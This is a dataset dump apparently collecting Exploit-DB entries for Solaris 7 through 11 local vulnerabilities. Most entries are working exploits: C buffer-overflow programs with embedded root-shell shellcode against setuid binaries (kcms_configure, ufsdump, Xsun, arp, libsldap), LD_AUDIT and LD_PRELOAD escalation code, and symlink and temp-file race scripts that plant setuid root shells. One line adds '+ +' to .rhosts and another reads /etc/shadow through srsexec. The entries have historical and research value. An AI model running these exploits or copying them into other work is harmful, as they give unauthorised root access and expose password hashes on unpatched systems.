deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19647
Description: Solaris 7.0 - 'kcms_configure' Local Overflow / Local Privilege Escalation
Type: local
Platform: solaris
Date: 1999-11-30
Author: UNYUN

Exploit:
/*
source: https://www.securityfocus.com/bid/831/info

The binary kcms_configure, part of the Kodak Color Management System package shipped with OpenWindows (and ultimately, Solaris) is vulnerable to a local buffer overflow. The buffer which the contents of the environment variable NETPATH are copied into has a predetermined length, which if exceeded can corrupt the stack and cause aribtrary code hidden inside of the oversized buffer to be executed. kcms_configure is installed setuid root and exploitation will result in a local root compromise. 
*/

------ ex_kcms_configure86.c
/*=============================================================================
kcms_configure Exploit for Solaris7 Intel Edition
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
=============================================================================
*/

#define ENV "NETPATH="
#define MAXBUF 3000
#define RETADR 2088
#define RETOFS 0xad0
#define FAKEADR 2076
#define NOP 0x90

unsigned long get_sp(void)
{
__asm__(" movl %esp,%eax ");
}

char exploit_code[] =
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
"\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33"
"\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88"
"\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f"
"\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46"
"\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01"
"\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/sh";

main()
{
char buf[MAXBUF];
unsigned int i,ip,sp;

putenv("LANG=");
sp=get_sp();
printf("ESP=0x%x\n",sp);

memset(buf,NOP,MAXBUF);

ip=sp;
buf[FAKEADR ]=ip&0xff;
buf[FAKEADR+1]=(ip>>8)&0xff;
buf[FAKEADR+2]=(ip>>16)&0xff;
buf[FAKEADR+3]=(ip>>24)&0xff;

ip=sp-RETOFS;
buf[RETADR ]=ip&0xff;
buf[RETADR+1]=(ip>>8)&0xff;
buf[RETADR+2]=(ip>>16)&0xff;
buf[RETADR+3]=(ip>>24)&0xff;

strncpy(buf+2500,exploit_code,strlen(exploit_code));

strncpy(buf,ENV,strlen(ENV));
buf[MAXBUF-1]=0;
putenv(buf);

execl("/usr/openwin/bin/kcms_configure","kcms_configure","1",0);
}
Exploit-DB #19533
Description: Solaris 7.0 - 'ufsdump' Local Buffer Overflow (1)
Type: local
Platform: solaris
Date: 1998-04-23
Author: smm

Exploit:
// source: https://www.securityfocus.com/bid/680/info


A buffer overflow vulnerability in the /usr/lib/fs/ufs/ufsdump setuid program allows local users to obtain root and tty group access. The vulnerability is the result of 'ufsdump' not being able to handle device names of a large length.


/* ufsdump.c
* Description:  Overflows a buffer to give you EGID=tty.
* At least that's what id reports.
* The running shell thinks its still the user.  Maybe I'm
* doing something wrong?  At any
* rate,  here ya go, have fun.
*
*  smm@wpi.edu
*  Thanks to: Jesse Schachter for the box, and
*  Unknown parties for the shellcode. (probably Aleph1).
*/

#include <stdio.h>
static inline getesp() {
  __asm__(" movl %esp,%eax ");
}
main(int argc, char **argv) {
  int i,j,buffer,offset;
  long unsigned esp;
  char unsigned buf[4096];
  unsigned char
  shellcode[]=
      "\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3"
        "\x33\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05"
        "\x07\x88\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff"
        "\xff\x0f\x0f\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46"
        "\x0c\x50\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff"
        "\x83\xc4\x0c\x6a\x01\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4"
        "\xff\xff\xff/bin/sh";
  buffer=895;
  offset=3500;
  if (argc>1)buffer=atoi(argv[1]);
  if (argc>2)offset=atoi(argv[2]);
  for (i=0;i<buffer;i++)
     buf[i]=0x41;  /* inc ecx */
  j=0;
  for (i=buffer;i<buffer+strlen(shellcode);i++)
      buf[i]=shellcode[j++];
  esp=getesp()+offset;
  buf[i]=esp & 0xFF;
  buf[i+1]=(esp >> 8) & 0xFF;
  buf[i+2]=(esp >> 16) & 0xFF;
  buf[i+3]=(esp >> 24) & 0xFF;
  buf[i+4]=esp & 0xFF;
  buf[i+5]=(esp >> 8) & 0xFF;
  buf[i+6]=(esp >> 16) & 0xFF;
  buf[i+7]=(esp >> 24) & 0xFF;
  printf("Offset: 0x%x\n\n",esp);
  execl("/usr/lib/fs/ufs/ufsdump","ufsdump","1",buf,NULL);
}
Exploit-DB #19233
Description: Solaris 7.0 - aspppd Insecure Temporary File Creation
Type: local
Platform: solaris
Date: 1996-12-20
Author: Al-Herbish

Exploit:
source: https://www.securityfocus.com/bid/292/info

Aspppd is a tool shipped with Solaris for dial up PPP access. This tool creates files in the /tmp directory insecurely (in particular /tmp/.asppp.fifo) allowing other users to link to these files an possibly elevate their privelages. This program is not by default shipped with SUID root privelages so an attacker will therefore only be able to write to files (via a symlink attack) as the user exectuing aspppd. 

$ echo "+ +" >> .rhosts
$ ln -s /.rhosts /tmp/.asppp.fifo

Wait for asppd to be excecuted.
Exploit-DB #20751
Description: Solaris 7.0/8 - IPCS Timezone Buffer Overflow
Type: local
Platform: solaris
Date: 2001-04-12
Author: Riley Hassell

Exploit:
source: https://www.securityfocus.com/bid/2581/info

Solaris is the variant of the UNIX Operating System distributed by Sun Microsystems. Solaris is designed as a scalable operating system for the Intel x86 and Sun Sparc platforms, and operates on machines varying from desktop to enterprise server.

A problem in the handling of environment variables by the SGID sys program ipcs could lead to local users gaining elevated privileges. Improper bounds checking of the buffer holding the TIMEZONE environment variable by the program could lead to a buffer overflow, and the overwriting of stack variables including the return address.

Therefore, it is possible for a local user to execute arbitrary code with the EUID of sys, and potentially gain further elevated privileges. 

Solaris 7 Sparc:
$ TZ=`perl -e 'print "A"x1107'`
$ /usr/bin/ipcs

Solaris 8 Sparc:
$ TZ=`perl -e 'print "A"x1199'`
$ /usr/bin/ipcs

Solaris x86:
$ TZ=`perl -e 'print "A"x1035'`
$ /usr/bin/i86/ipcs
Exploit-DB #19876
Description: Solaris 7.0/8 - Xsun Buffer Overrun
Type: local
Platform: solaris
Date: 2000-04-24
Author: DiGiT

Exploit:
// source: https://www.securityfocus.com/bid/1140/info

A buffer overrun vulnerability exists in the Xsun X11 server, as shipped as part of Solaris 7 and 8 from Sun Microsystems. By supplying a long argument to the -dev option (normally used to set the output device), it is possible to execute arbitrary code with setgid root permissions. This can be further leveraged to gain root privileges, resulting in machine compromise.

/*
*
* Solaris 7  Xsun(suid) local overflow - PRIVATE for now!
* Solaris 2.7/(2.6?) x86 sploit no sparc code, yet!
*
* Discovered/sploited By DiGiT - teddi@linux.is
*
* Greets: #!ADM, #!security.is
*/

#include <stdio.h>
#include <stdlib.h>

// Generic solaris x86 shellcode by cheeze wizz

char shellcode[] =
 "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
 "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
 "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
 "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
 "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
 "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
 
long get_esp() { __asm__("movl %esp,%eax"); }

int main(int argc, char *argv[]) {

  char buff[5000];
  int nopcount=2001, bsize=4000, offset=1850;
  int i;

  if (argc > 1) nopcount  = atoi(argv[1]);
  if (argc > 2) bsize  = atoi(argv[2]);
  if (argc > 3) offset = atoi(argv[3]);
        memset (buff, 0x90, bsize); 

                for (i = nopcount; i < bsize - 4; i += 4)
                *(long *) &buff[i] = get_esp() + offset;
 
        memcpy (buff + (nopcount - strlen (shellcode)), shellcode, strlen
        (shellcode));
 
            memcpy (buff, ":", 1);
 
         printf("Oh boy. DiGiT presents r00t\n");

         execl("/usr/openwin/bin/Xsun", "Xsun", "-dev", buff, NULL);

}
Exploit-DB #20740
Description: Solaris 7/8 - 'kcms_configure' Command-Line Buffer Overflow (1)
Type: local
Platform: solaris
Date: 2001-04-09
Author: Riley Hassell

Exploit:
// source: https://www.securityfocus.com/bid/2558/info

The Kodak Color Management System, or KCMS, is a package that ships with workstation installations of Solaris 7 and 8. kcms_configure, a part of KCMS, is vulnerable to a buffer overflow if it is passed an overly long string on the command-line by a local user. kcms_configure is installed setuid root, so a buffer overflow can lead to arbitrary code execution as root.

An exploit for x86 Solaris is available to attackers. 

/*
 Command line argument overflow
 /usr/openwin/bin/kcms_configure

 Proof of Concept Exploitation
 Riley Hassell
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFLEN  1100

/* seteuid/exec shellcode  */
char shell[] =
"\xeb\x0a\x9a\x01\x02\x03\x5c\x07\x04\xc3\xeb\x05\xe8\xf9\xff\xff\xff"
"\x5e\x29\xc0\x88\x46\xf7\x89\x46\xf2\x50\xb0\x8d\xe8\xe0\xff\xff\xff"
"\x29\xc0\x50\xb0\x17\xe8\xd6\xff\xff\xff\xeb\x1f\x5e\x8d\x1e\x89\x5e"
"\x0b\x29\xc0\x88\x46\x19\x89\x46\x14\x89\x46\x0f\x89\x46\x07\xb0"
"\x3b\x8d\x4e\x0b\x51\x51\x53\x50\xeb\x18\xe8\xdc\xff\xff\xff\x2f\x62"
"\x69\x6e\x2f\x73\x68\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x03"
"\x03\x9a\x04\x04\x04\x04\x07\x04";

char buf[BUFLEN];
unsigned long int nop, esp;
long int offset = 0;

unsigned long int get_esp() { __asm__("movl %esp,%eax");}

int main (int argc, char *argv[])
{
        int i;
        if (argc > 1)
        offset = strtol(argv[1], NULL, 0);
        else
             offset = -300;
            nop = 600;
        esp = get_esp();
        memset(buf, 0x90, BUFLEN);
        memcpy(buf+600, shell, strlen(shell));
        for (i = nop+strlen(shell)+1; i <= BUFLEN-4; i += 4)
        *((int *) &buf[i]) = esp+offset;
         buf[BUFLEN-1] = '\0';
        execl("/usr/openwin/bin/kcms_configure", "eEye",
"-o","-S","X",buf,NULL);
        return;
}
Exploit-DB #250
Description: Solaris 7/8-beta - ARP Local Overflow
Type: local
Platform: solaris
Date: 2001-01-15
Author: ahmed

Exploit:
/*
   arp overflow proof of concept by ahmed@securityfocus.com
   shellcode originally written by Cheez Whiz.

                              tested on x86 solaris 7,8beta
   default should work.  if not, arg1 = offset. +- by 100's

   Copyright Security-Focus.com, 11/2000
*/

long get_esp() { __asm__("movl %esp,%eax"); }

int main(int ac, char **av)
{
  char shell[] =
    "\xeb\x45\x9a\xff\xff\xff\xff\x07\xff"
    "\xc3\x5e\x31\xc0\x89\x46\xb7\x88\x46"
    "\xbc\x88\x46\x07\x89\x46\x0c\x31\xc0"
    "\xb0\x2f\xe8\xe0\xff\xff\xff\x52\x52"
    "\x31\xc0\xb0\xcb\xe8\xd5\xff\xff\xff"
    "\x83\xc4\x08\x31\xc0\x50\x8d\x5e\x08"
    "\x53\x8d\x1e\x89\x5e\x08\x53\xb0\x3b"
    "\xe8\xbe\xff\xff\xff\x83\xc4\x0c\xe8"
    "\xbe\xff\xff\xff\x2f\x62\x69\x6e\x2f"
    "\x73\x68\xff\xff\xff\xff\xff\xff\xff"
    "\xff\xff";

  unsigned long magic = 0x8047b78;
  unsigned long r = get_esp() + 600;
  unsigned char buf[300];
  int f;

  if (ac == 2)
    r += atoi(av[1]);

  memset(buf,0x61,sizeof(buf));
  memcpy(buf+52,&magic,4);
  memcpy(buf+76,&r,4);

  f = open("/tmp/ypx",O_CREAT|O_WRONLY,0600);
  write(f,"1 2 3 4 ",8);
  write(f,buf,sizeof(buf));
  close(f);

  memset(buf,0x90,sizeof(buf));
  memcpy(buf,"LOL=",4);
  memcpy(buf+(sizeof(buf)-strlen(shell)),shell,strlen(shell));
  putenv(buf);

  system("/usr/sbin/arp -f /tmp/ypx");
  unlink("/tmp/ypx");
}


// milw0rm.com [2001-01-15]
Exploit-DB #20969
Description: Solaris 8 libsldap - Local Buffer Overflow (1)
Type: local
Platform: solaris
Date: 2001-06-26
Author: noir

Exploit:
// source: https://www.securityfocus.com/bid/2931/info

Solaris 8 ships with a shared library that implements LDAP functionality called 'libsldap'. This library is linked to by a number of system utilities, many of them installed setuid or setgid.

Libsldap contains a buffer overflow vulnerability in it's handling of the 'LDAP_OPTIONS' environment variable.

Local attackers can exploit this vulnerability in setuid/setgid programs linked to libsldap to elevate privileges. 

/** !!!PRIVATE!!! 
 ** noir@gsu.linux.org.tr
 ** libsldap.so.1 $LDAP_OPTIONS enviroment variable overflow exploit;
 ** 
 **/
  
#include <stdio.h>

#define ADJUST      1


/* anathema@hack.co.za
** Solaris/SPARC shellcode
** setreuid(0, 0); setregid(0, 0); execve("/bin/sh", args, 0);
*/

char shellcode[] =
"\x90\x1a\x40\x09\x92\x1a\x40\x09\x82\x10\x20\xca\x91\xd0\x20\x08"
"\x90\x1a\x40\x09\x92\x1a\x40\x09\x82\x10\x20\xcb\x91\xd0\x20\x08"
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08";

struct type {
char *string;
char *path;
long retaddr;
};

struct type target[] = 
      {
	{ "0, /usr/bin/passwd Solaris8, Sparc64", "/usr/bin/passwd", 0xffbefe98 },
	{ "1, /usr/bin/nispasswd Solaris8, Sparc64", "/usr/bin/nispasswd", 0xffbefe98 },
	{ "2, /usr/bin/yppasswd Solaris8, Sparc64", "/usr/bin/yppasswd", 0xffbefe98 },
	{ "3, /usr/bin/chkey Solaris8, Sparc64 ", "/usr/bin/chkey", 0xffbefea8 },
	{ "4, /usr/lib/sendmail Solaris8, Sparc64", "/usr/lib/sendmail", 0xffbefeb8 },
	{ NULL, NULL, 0 } 
      };

int i;
unsigned long ret_adr;
char ldap[4000];
char egg[400];
char *envs[] = { ldap, egg, NULL };

main(int argc, char *argv[])
{

      if(!argv[1])
      {
              fprintf(stderr, "libsldap.so.1 $LDAP_OPTIONS enviroment variable \
buffer overflow\nExploit code: noir@gsu.linux.org.tr\nBug discovery: sway@hack.co.za\n\nUsage: %s target#\n\n", argv[0]);
      for(i = 0; target[i].string != NULL; i++)
      fprintf(stderr,"target#: %s\n", target[i].string);
      exit(0); 
      }

  ret_adr = target[atoi(argv[1])].retaddr;
 
  memset(egg, 0x00, sizeof egg);
  for(i = 0 ; i < 400 - strlen(shellcode) ; i +=4)
  *(long *)&egg[i] =  0xa61cc013; 
  for (i= 0 ; i < strlen(shellcode); i++) 
     egg[200+i]=shellcode[i];
  
 for ( i = 0; i <  ADJUST; i++) ldap[i]=0x58;
 for (i = ADJUST; i < 4000; i+=4)
    {
      ldap[i+3]=ret_adr & 0xff;
      ldap[i+2]=(ret_adr >> 8 ) &0xff;
      ldap[i+1]=(ret_adr >> 16 ) &0xff;
      ldap[i+0]=(ret_adr >> 24 ) &0xff;
    }
memcpy(ldap, "LDAP_OPTIONS=", 13);
 
ldap[strlen(ldap) - 3] = 0x00; //ldap[3998] has to be NULL terminated

execle(target[atoi(argv[1])].path, "12341234", (char *)0, envs);

}
Exploit-DB #2242
Description: Solaris 8/9 - '/usr/ucb/ps' Local Information Leak
Type: local
Platform: solaris
Date: 2006-08-22
Author: Marco Ivaldi

Exploit:
#!/bin/sh

#
# $Id: raptor_ucbps,v 1.1 2006/07/26 12:15:42 raptor Exp $
#
# raptor_ucbps - information leak with Solaris /usr/ucb/ps
# Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# A security vulnerability in the "/usr/ucb/ps" (see ps(1B)) command may allow 
# unprivileged local users the ability to see environment variables and their 
# values for processes which belong to other users (Sun Alert ID: 102215).
#
# Absolutely nothing fancy, but it may turn out to be useful;)
#
# Usage:
# $ chmod +x raptor_ucbps
# $ ./raptor_ucbps
# [...]
#
# Vulnerable platforms (SPARC):
# Solaris 8 without patch 109023-05 [tested]
# Solaris 9 without patch 120240-01 [tested]
#
# Vulnerable platforms (x86):
# Solaris 8 without patch 109024-05 [untested]
# Solaris 9 without patch 120239-01 [untested]
#

echo "raptor_ucbps - information leak with Solaris /usr/ucb/ps"
echo "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
echo

/usr/ucb/ps -auxgeww

# milw0rm.com [2006-08-22]
Exploit-DB #1073
Description: Solaris 9/10 - 'ld.so' Local Privilege Escalation (1)
Type: local
Platform: solaris
Date: 2005-06-28
Author: Przemyslaw Frasunek

Exploit:
/*
- SunOS 5.10 Generic i86pc i386 i86pc
- SunOS 5.9 Generic_112233-12 sun4u

It does NOT work on:

SunOS 5.8 Generic_117350-02 sun4u sparc

Example on unpatched Solaris 10 (AMD64):

atari:venglin:~> cat dupa.c
*/

static char sh[] =
"\x31\xc0\xeb\x09\x5a\x89\x42\x01\x88\x42\x06\xeb\x0d\xe8\xf2\xff\xff\xff\x9a\x01\x01\x01\x01\x07\x01\xc3\x50\xb0\x17\xe8\xf0\xff\xff\xff\x31\xc0\x68\x2f\x73\x68\x5f\x68\x2f\x62\x69\x6e\x88\x44\x24\x07\x89\xe3\x50\x53\x8d\x0c\x24\x8d\x54\x24\x04\x52\x51\x53\xb0\x0b\xe8\xcb\xff\xff\xff";

int la_version() {
       void (*f)();
       f = (void*)sh;
       f();
       return 3;
}

/*
atari:venglin:~> gcc -fPIC -shared -o /tmp/dupa.so dupa.c
atari:venglin:~> setenv LD_AUDIT /tmp/dupa.so
atari:venglin:~> su

# id
uid=0(root) gid=10(staff)
*/

// milw0rm.com [2005-06-28]
Exploit-DB #1074
Description: Solaris 9/10 - 'ld.so' Local Privilege Escalation (2)
Type: local
Platform: solaris
Date: 2005-06-28
Author: Przemyslaw Frasunek

Exploit:
/* 
Solaris 9 on SPARC: 

$ cat dupa.c
*/

char sh[] =
/* setuid() */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
/* execve() */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";

int la_version() {
       void (*f)();
       f = (void*)sh;
       f();
       return 3;
}

/*
$ gcc -fPIC -shared -o /tmp/dupa.so dupa.c
$ export LD_AUDIT=/tmp/dupa.so
$ ping
# id
uid=0(root) gid=100(student)
*/

// milw0rm.com [2005-06-28]
Exploit-DB #47509
Description: Solaris xscreensaver 11.4 - Privilege Escalation
Type: local
Platform: solaris
Date: 2019-10-16
Author: Marco Ivaldi

Exploit:
# Exploit Title: Solaris xscreensaver 11.4 - Privilege Escalation
# Date: 2019-10-16
# Exploit Author: Marco Ivaldi
# Vendor Homepage: https://www.oracle.com/technetwork/server-storage/solaris11/
# Version: Solaris 11.x
# Tested on: Solaris 11.4 and 11.3 X86
# CVE: N/A

#!/bin/sh

#
# raptor_xscreensaver - Solaris 11.x LPE via xscreensaver
# Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# Exploitation of a design error vulnerability in xscreensaver, as 
# distributed with Solaris 11.x, allows local attackers to create
# (or append to) arbitrary files on the system, by abusing the -log
# command line switch introduced in version 5.06. This flaw can be
# leveraged to cause a denial of service condition or to escalate
# privileges to root. This is a Solaris-specific vulnerability,
# caused by the fact that Oracle maintains a slightly different
# codebase from the upstream one (CVE-2019-3010).
#
# "I'd rather be lucky than good any day." -- J. R. "Bob" Dobbs
# "Good hackers force luck." -- ~A.
#
# This exploit targets the /usr/lib/secure/ directory in order
# to escalate privileges with the LD_PRELOAD technique. The
# implementation of other exploitation vectors, including those
# that do not require gcc to be present on the target system, is
# left as an exercise to fellow UNIX hackers;)
#
# Usage:
# raptor@stalker:~$ chmod +x raptor_xscreensaver
# raptor@stalker:~$ ./raptor_xscreensaver
# [...]
# Oracle Corporation      SunOS 5.11      11.4    Aug 2018
# root@stalker:~# id
# uid=0(root) gid=0(root)
# root@stalker:~# rm /usr/lib/secure/64/getuid.so /tmp/getuid.*
#
# Vulnerable platforms:
# Oracle Solaris 11 X86 [tested on 11.4 and 11.3]
# Oracle Solaris 11 SPARC [untested]
#

echo "raptor_xscreensaver - Solaris 11.x LPE via xscreensaver"
echo "Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>"
echo

# prepare the payload
echo "int getuid(){return 0;}" > /tmp/getuid.c
gcc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc
if [ $? -ne 0 ]; then
	echo "error: problem compiling the shared library, check your gcc"
	exit 1
fi

# check the architecture
LOG=/usr/lib/secure/getuid.so
file /bin/su | grep 64-bit >/dev/null 2>&1
if [ $? -eq 0 ]; then
	LOG=/usr/lib/secure/64/getuid.so
fi

# start our own xserver
# alternatively we can connect back to a valid xserver (e.g. xquartz)
/usr/bin/Xorg :1 &

# trigger the bug
umask 0
/usr/bin/xscreensaver -display :1 -log $LOG &
sleep 5

# clean up
pkill -n xscreensaver
pkill -n Xorg

# LD_PRELOAD-fu
cp /tmp/getuid.so $LOG
LD_PRELOAD=$LOG su -
Exploit-DB #33799
Description: Sun Connection Update Manager for Solaris - Multiple Insecure Temporary File Creation Vulnerabilities
Type: local
Platform: solaris
Date: 2010-03-24
Author: Larry W. Cashdollar

Exploit:
source: https://www.securityfocus.com/bid/38928/info

Sun Connection Update Manager for Solaris creates temporary files in an insecure manner.

An attacker with local access could potentially exploit these issues to perform symbolic-link attacks, overwriting arbitrary files in the context of the affected application.

Successfully mounting a symlink attack may allow the attacker to overwrite or corrupt sensitive files, which may result in a denial-of-service or privilege escalation. Other attacks may also be possible.

These issues affect unknown versions of the application. In addition, these issues may affect certain Solaris patch clusters or individual patch releases.

#!/bin/sh
#Larry W. Cashdollar, local root for Solaris x86 during patching
#10/4/2013 Tested on Cluster 9/30/2013
# larry@s0l4r1s:~$ ./disk_exp.sh 
# [+] Creating evil shell
# [+] Hope you've got gcc on here, compiling...
# [+] Waiting for root shell
# [+] Tada!
# # id
# uid=0(root) gid=0(root)


echo "[+] Creating evil shell"

cat << EOF > r00t.c
#include <stdio.h>
#include <unistd.h>
int
main (void)
{
  char *shell[2];
  shell[0] = "sh";
  shell[1] = NULL;
  setreuid (0, 0);
  setregid (0, 0);
  execve ("/bin/sh", shell, NULL);
  return(0);
}
EOF

echo "[+] Hope you've got gcc on here, compiling..."

gcc r00t.c -o /tmp/r00t

mkdir -p /tmp/diskette_rc.d/

echo "#!/bin/sh" > /tmp/diskette_rc.d/rcs9.sh
echo "chown root:root /tmp/r00t" >> /tmp/diskette_rc.d/rcs9.sh
echo "chmod +s /tmp/r00t" >> /tmp/diskette_rc.d/rcs9.sh
chmod +x /tmp/diskette_rc.d/rcs9.sh
echo "[+] Waiting for root shell"

until [  -u /tmp/r00t ]; do sleep 1; done; echo "[+] Tada!";/tmp/r00t
Exploit-DB #30021
Description: Sun Microsystems Solaris SRSEXEC 3.2.x - Arbitrary File Read Local Information Disclosure
Type: local
Platform: solaris
Date: 2007-05-10
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23915/info

Sun Microsystems Solaris is prone to a local information-disclosure vulnerability due to a design error.

A local attacker may exploit this issue to access sensitive information, including superuser password information, that may lead to further attacks. A complete compromise is possible. 

The following exploit example is available:
$ /opt/SUNWsrspx/bin/srsexec -dvb /etc/shadow OWNED